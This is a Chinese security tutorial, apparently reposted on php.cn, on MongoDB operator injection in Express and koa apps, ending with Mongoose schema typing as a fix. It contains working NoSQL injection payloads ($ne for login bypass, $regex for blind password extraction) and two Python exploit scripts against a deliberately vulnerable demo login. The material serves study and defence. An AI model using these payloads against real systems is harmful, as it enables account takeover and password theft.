0

0

Mongodb Injection in Node.js Web Framework

php中文网

php中文网

发布时间:2016-06-07 16:41:33

|

1309人浏览过

|

来源于php中文网

原创

The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和

The difference between Express and koa

Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。

GET

在对于 get 的处理上,express 和 koa 的一个显著的不同就是:

test[1]=a&test[2]=b

Expres 的 req.query 会把 test 处理成 Object:

{ test: [ 'a', 'b' ] }

koa 的 this.request.query 却不会:

{ 'test[1]': 'a', 'test[2]': 'b' }

在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。

POST

在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded,Express和 koa 的行为也是不相同的,对于:

test[a]=123&test[b]=456

Express 的 req.body 解析后的结果为:

{ 'test[a]': '123', 'test[b]': '456' }

koa co-body 处理后解析后的结果为:

{ test: { a: '123', b: '456' } }

当 Content-Type 为 multipart/form-data,对于:

------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--

Express 利用 multiparty 解析的结果为:

{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }

koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json,Express 和 koa 在结果上时相同的,对于:

{"test1": 1, "test2": {"test": "hello"}}

解析结果都为:

{ test1: 1, test2: { test: 'hello' } }

另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。

Mongodb Injection in Express

这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。

对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。

我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin

Bypass Login Directly in Express

/controllers/user.js

LoginHandler.login = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'Login Fail'});
            return;
        };
        response.status(200).json({user: 'Hello ' + user.username});
    });
};

此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js

User.prototype.login = function (callback) {
    var _user = {
        username: this.username,
        password: this.password
    };
    db.open(function (err, db) {
        if (err) return callback(err);
        db.collection('users', function (err, collection) {
            if (err) {
                db.close();
                return callback(err);
            };
            collection.findOne(_user, function (err, user) { // Injection
                // do stuff
            });
        });
    });
}

由于此处我们提交的数据为:

AItools.fyi
AItools.fyi

找到让生活变得更轻松的最佳AI工具!

下载
{"username": "test", "password": {"$ne": 1}

Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。

Login Blind Injection in Express

/controller/user.js

LoginHandler.login2 = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'User not exist'});
            return;
        };
        if (user.password === request.body.password) {
            response.status(200).json({user: 'Hello ' + user.username});
        } else {
            response.status(401).json({message: 'Password is not correct'});
        };
    });
};

此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:

{"username": "test", "password": {"$regex": "^1"}}

如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:

{"username": "test", "password": {"$regex": "^11"}}

重复上述步骤直至猜解结束。

Exploit

0x01

Code:

import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()

Result:

0x02

Code:

import sys
import urllib2
def req(url, data):
    try:
        request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
        return urllib2.urlopen(request).read()
    except urllib2.HTTPError, e:
        return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
    for i in chars:
        resp = req(url, payload % (password + i))
        if FLAG_PASSWORD_INCORRECT in resp:
            password += i
            print password
            break
        elif FLAG_USER_NOT_EXIST in resp:
            pass
        if i == chars[-1]:
            print password
            sys.exit(0)

Result:

Express with Mongoose

常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。

使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:

var _User = new db.Schema({                
    username: String,
    password: String,
    apikey: String  
});

这样的话,我们传入:

{"username": "ricter","password": {"$ne": 1}}

实际上查询的时候会被转变成:

{ username: 'ricter', password: undefined }

所以不会造成 Mongodb Injection。

At the end

Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/

相关专题

更多
c++ 根号
c++ 根号

本专题整合了c++根号相关教程,阅读专题下面的文章了解更多详细内容。

22

2026.01.23

c++空格相关教程合集
c++空格相关教程合集

本专题整合了c++空格相关教程,阅读专题下面的文章了解更多详细内容。

24

2026.01.23

yy漫画官方登录入口地址合集
yy漫画官方登录入口地址合集

本专题整合了yy漫画入口相关合集,阅读专题下面的文章了解更多详细内容。

99

2026.01.23

漫蛙最新入口地址汇总2026
漫蛙最新入口地址汇总2026

本专题整合了漫蛙最新入口地址大全,阅读专题下面的文章了解更多详细内容。

132

2026.01.23

C++ 高级模板编程与元编程
C++ 高级模板编程与元编程

本专题深入讲解 C++ 中的高级模板编程与元编程技术,涵盖模板特化、SFINAE、模板递归、类型萃取、编译时常量与计算、C++17 的折叠表达式与变长模板参数等。通过多个实际示例,帮助开发者掌握 如何利用 C++ 模板机制编写高效、可扩展的通用代码,并提升代码的灵活性与性能。

15

2026.01.23

php远程文件教程合集
php远程文件教程合集

本专题整合了php远程文件相关教程,阅读专题下面的文章了解更多详细内容。

65

2026.01.22

PHP后端开发相关内容汇总
PHP后端开发相关内容汇总

本专题整合了PHP后端开发相关内容,阅读专题下面的文章了解更多详细内容。

61

2026.01.22

php会话教程合集
php会话教程合集

本专题整合了php会话教程相关合集,阅读专题下面的文章了解更多详细内容。

63

2026.01.22

宝塔PHP8.4相关教程汇总
宝塔PHP8.4相关教程汇总

本专题整合了宝塔PHP8.4相关教程,阅读专题下面的文章了解更多详细内容。

33

2026.01.22

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
MongoDB 教程
MongoDB 教程

共17课时 | 2.3万人学习

黑马云课堂mongodb实操视频教程
黑马云课堂mongodb实操视频教程

共11课时 | 3.1万人学习

MongoDB 教程
MongoDB 教程

共42课时 | 26.7万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号